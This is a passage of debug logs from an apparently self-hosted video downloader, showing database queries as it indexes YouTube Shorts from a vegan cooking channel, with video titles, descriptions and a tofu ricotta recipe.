m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:51.972 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [535] 20:25:51.972 [debug] Current batch of media processed. Will check again in 1000ms 20:25:52.973 [debug] Current batch of media processed. Will check again in 1000ms 20:25:53.974 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-07-14 What I eat in a day as a vegan 🌱 #wfpb #shorts/What I eat in a day as a vegan 🌱 #wfpb #shorts [NCCA4LVcjpA].NA", "id" => "NCCA4LVcjpA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/NCCA4LVcjpA", "playlist_index" => 147, "timestamp" => 1689346710, "title" => "What I eat in a day as a vegan 🌱 #wfpb #shorts", "upload_date" => "20230714"} 20:25:53.975 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=997.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:53.976 [debug] QUERY OK source="sources" db=0.3ms idle=392.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:53.978 [debug] QUERY OK source="media_items" db=1.9ms idle=392.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-14 14:58:30Z], 1] 20:25:53.987 [debug] QUERY OK source="media_items" db=8.8ms idle=395.0ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan 🌱 #wfpb #shorts", "d83242fe-7025-4ef3-92d4-e9b4dcae4a6c", 1, [], 15, false, "NCCA4LVcjpA", "https://www.youtube.com/shorts/NCCA4LVcjpA", 147, "/downloads/downloads/alec/Steamy Vegan/2023-07-14 What I eat in a day as a vegan 🌱 #wfpb #shorts/What I eat in a day as a vegan 🌱 #wfpb #shorts [NCCA4LVcjpA].NA", false, false, true, 0, ~U[2023-07-14 14:58:30Z], ~U[2026-03-22 03:25:53Z], ~U[2026-03-22 03:25:53Z], "", "What I eat in a day as a vegan 🌱 #wfpb #shorts", 1, 15, false, "NCCA4LVcjpA", "https://www.youtube.com/shorts/NCCA4LVcjpA", "/downloads/downloads/alec/Steamy Vegan/2023-07-14 What I eat in a day as a vegan 🌱 #wfpb #shorts/What I eat in a day as a vegan 🌱 #wfpb #shorts [NCCA4LVcjpA].NA", true, ~U[2023-07-14 14:58:30Z]] 20:25:53.988 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:53.988 [debug] QUERY OK source="media_profiles" db=0.2ms idle=12.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:53.989 [debug] QUERY OK source="media_items" db=0.6ms idle=10.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [536] 20:25:53.989 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These vegan sheet pan fajitas just take 30 mins in the oven to bake and then you can make your favorite tacos, wraps or fajita bowls with these ingredients. Everything is vegan and gluten free as always! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-07-07 EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)/EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free) [Parrvjdrc1Q].NA", "id" => "Parrvjdrc1Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Parrvjdrc1Q", "playlist_index" => 148, "timestamp" => 1688738820, "title" => "EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)", "upload_date" => "20230707"} 20:25:53.990 [debug] QUERY OK source="sources" db=0.4ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:53.991 [debug] QUERY OK source="sources" db=0.3ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:53.993 [debug] QUERY OK source="media_items" db=2.0ms idle=2.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-07 14:07:00Z], 1] 20:25:53.995 [debug] QUERY OK source="media_items" db=2.2ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan sheet pan fajitas just take 30 mins in the oven to bake and then you can make your favorite tacos, wraps or fajita bowls with these ingredients. Everything is vegan and gluten free as always! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)", "6531d636-95dc-4f24-8486-a0d4ad1e1518", 1, [], 14, false, "Parrvjdrc1Q", "https://www.youtube.com/shorts/Parrvjdrc1Q", 148, "/downloads/downloads/alec/Steamy Vegan/2023-07-07 EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)/EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free) [Parrvjdrc1Q].NA", false, false, true, 0, ~U[2023-07-07 14:07:00Z], ~U[2026-03-22 03:25:53Z], ~U[2026-03-22 03:25:53Z], "These vegan sheet pan fajitas just take 30 mins in the oven to bake and then you can make your favorite tacos, wraps or fajita bowls with these ingredients. Everything is vegan and gluten free as always! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)", 1, 14, false, "Parrvjdrc1Q", "https://www.youtube.com/shorts/Parrvjdrc1Q", "/downloads/downloads/alec/Steamy Vegan/2023-07-07 EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)/EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free) [Parrvjdrc1Q].NA", true, ~U[2023-07-07 14:07:00Z]] 20:25:53.996 [debug] QUERY OK source="sources" db=0.7ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:53.997 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:53.998 [debug] QUERY OK source="media_items" db=0.5ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [537] 20:25:53.998 [debug] Current batch of media processed. Will check again in 1000ms 20:25:54.999 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These vegan meal prep quinoa breakfast bowls are so filling and packed full of protein to keep you going all week. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-07-06 Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤/Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤 [HeIUU-HbdP4].NA", "id" => "HeIUU-HbdP4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HeIUU-HbdP4", "playlist_index" => 149, "timestamp" => 1688652420, "title" => "Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤", "upload_date" => "20230706"} 20:25:55.000 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:55.001 [debug] QUERY OK source="sources" db=0.7ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:55.003 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 14:07:00Z], 1] 20:25:55.004 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan meal prep quinoa breakfast bowls are so filling and packed full of protein to keep you going all week. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤", "9c6afdd1-54d3-40fb-9ba8-1a9a8a33cda9", 1, [], 13, false, "HeIUU-HbdP4", "https://www.youtube.com/shorts/HeIUU-HbdP4", 149, "/downloads/downloads/alec/Steamy Vegan/2023-07-06 Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤/Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤 [HeIUU-HbdP4].NA", false, false, true, 0, ~U[2023-07-06 14:07:00Z], ~U[2026-03-22 03:25:55Z], ~U[2026-03-22 03:25:55Z], "These vegan meal prep quinoa breakfast bowls are so filling and packed full of protein to keep you going all week. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤", 1, 13, false, "HeIUU-HbdP4", "https://www.youtube.com/shorts/HeIUU-HbdP4", "/downloads/downloads/alec/Steamy Vegan/2023-07-06 Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤/Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤 [HeIUU-HbdP4].NA", true, ~U[2023-07-06 14:07:00Z]] 20:25:55.005 [debug] QUERY OK source="sources" db=0.4ms idle=22.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:55.006 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:55.006 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [538] 20:25:55.007 [debug] Current batch of media processed. Will check again in 1000ms 20:25:56.008 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 22, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-06-22 A summer salad that *actually* SLAPS #shorts #youtubeshorts/A summer salad that *actually* SLAPS #shorts #youtubeshorts [O7nQ2E8NEXw].NA", "id" => "O7nQ2E8NEXw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/O7nQ2E8NEXw", "playlist_index" => 150, "timestamp" => 1687444863, "title" => "A summer salad that *actually* SLAPS #shorts #youtubeshorts", "upload_date" => "20230622"} 20:25:56.009 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:56.010 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:56.012 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 14:41:03Z], 1] 20:25:56.014 [debug] QUERY OK source="media_items" db=1.6ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["A summer salad that *actually* SLAPS #shorts #youtubeshorts", "057a72b6-ad73-4480-993e-ff1ea612308f", 1, [], 22, false, "O7nQ2E8NEXw", "https://www.youtube.com/shorts/O7nQ2E8NEXw", 150, "/downloads/downloads/alec/Steamy Vegan/2023-06-22 A summer salad that *actually* SLAPS #shorts #youtubeshorts/A summer salad that *actually* SLAPS #shorts #youtubeshorts [O7nQ2E8NEXw].NA", false, false, true, 0, ~U[2023-06-22 14:41:03Z], ~U[2026-03-22 03:25:56Z], ~U[2026-03-22 03:25:56Z], "", "A summer salad that *actually* SLAPS #shorts #youtubeshorts", 1, 22, false, "O7nQ2E8NEXw", "https://www.youtube.com/shorts/O7nQ2E8NEXw", "/downloads/downloads/alec/Steamy Vegan/2023-06-22 A summer salad that *actually* SLAPS #shorts #youtubeshorts/A summer salad that *actually* SLAPS #shorts #youtubeshorts [O7nQ2E8NEXw].NA", true, ~U[2023-06-22 14:41:03Z]] 20:25:56.015 [debug] QUERY OK source="sources" db=0.9ms idle=30.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:56.016 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:56.017 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [539] 20:25:56.017 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "TOFU RICOTTA CHEESE 🧀 High-protein & plant-based goodness! 👊🏻 🌱\n\nCall it ricotta, call it cream cheese, call it *whatever* you want… IT’S AMAZING and I rarely buy vegan cream cheese anymore because this is is so cheap and easy to make at home 🏡 Spread it on toast or a bagel 🥯, in a wrap, stir into pasta 🍝, layer into lasagna, the options are ENDLESS! It’s really delicious and is packed with protein and nutrition 💪🏻\n\nSAVE ✔️ this recipe for later and follow me!\nTOFU RICOTTA - 8g protein per serving\n1 block extra firm tofu\n¼ cup nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n¼ cup or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n2. Spread 2 tbsp of the tofu ricotta on each slice of toasted bread, and top with sliced avocado and tomatoes, arugula and any other seasonings you like!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n#steamyvegankitchen #steamyvegan #tofulover #plantpowered 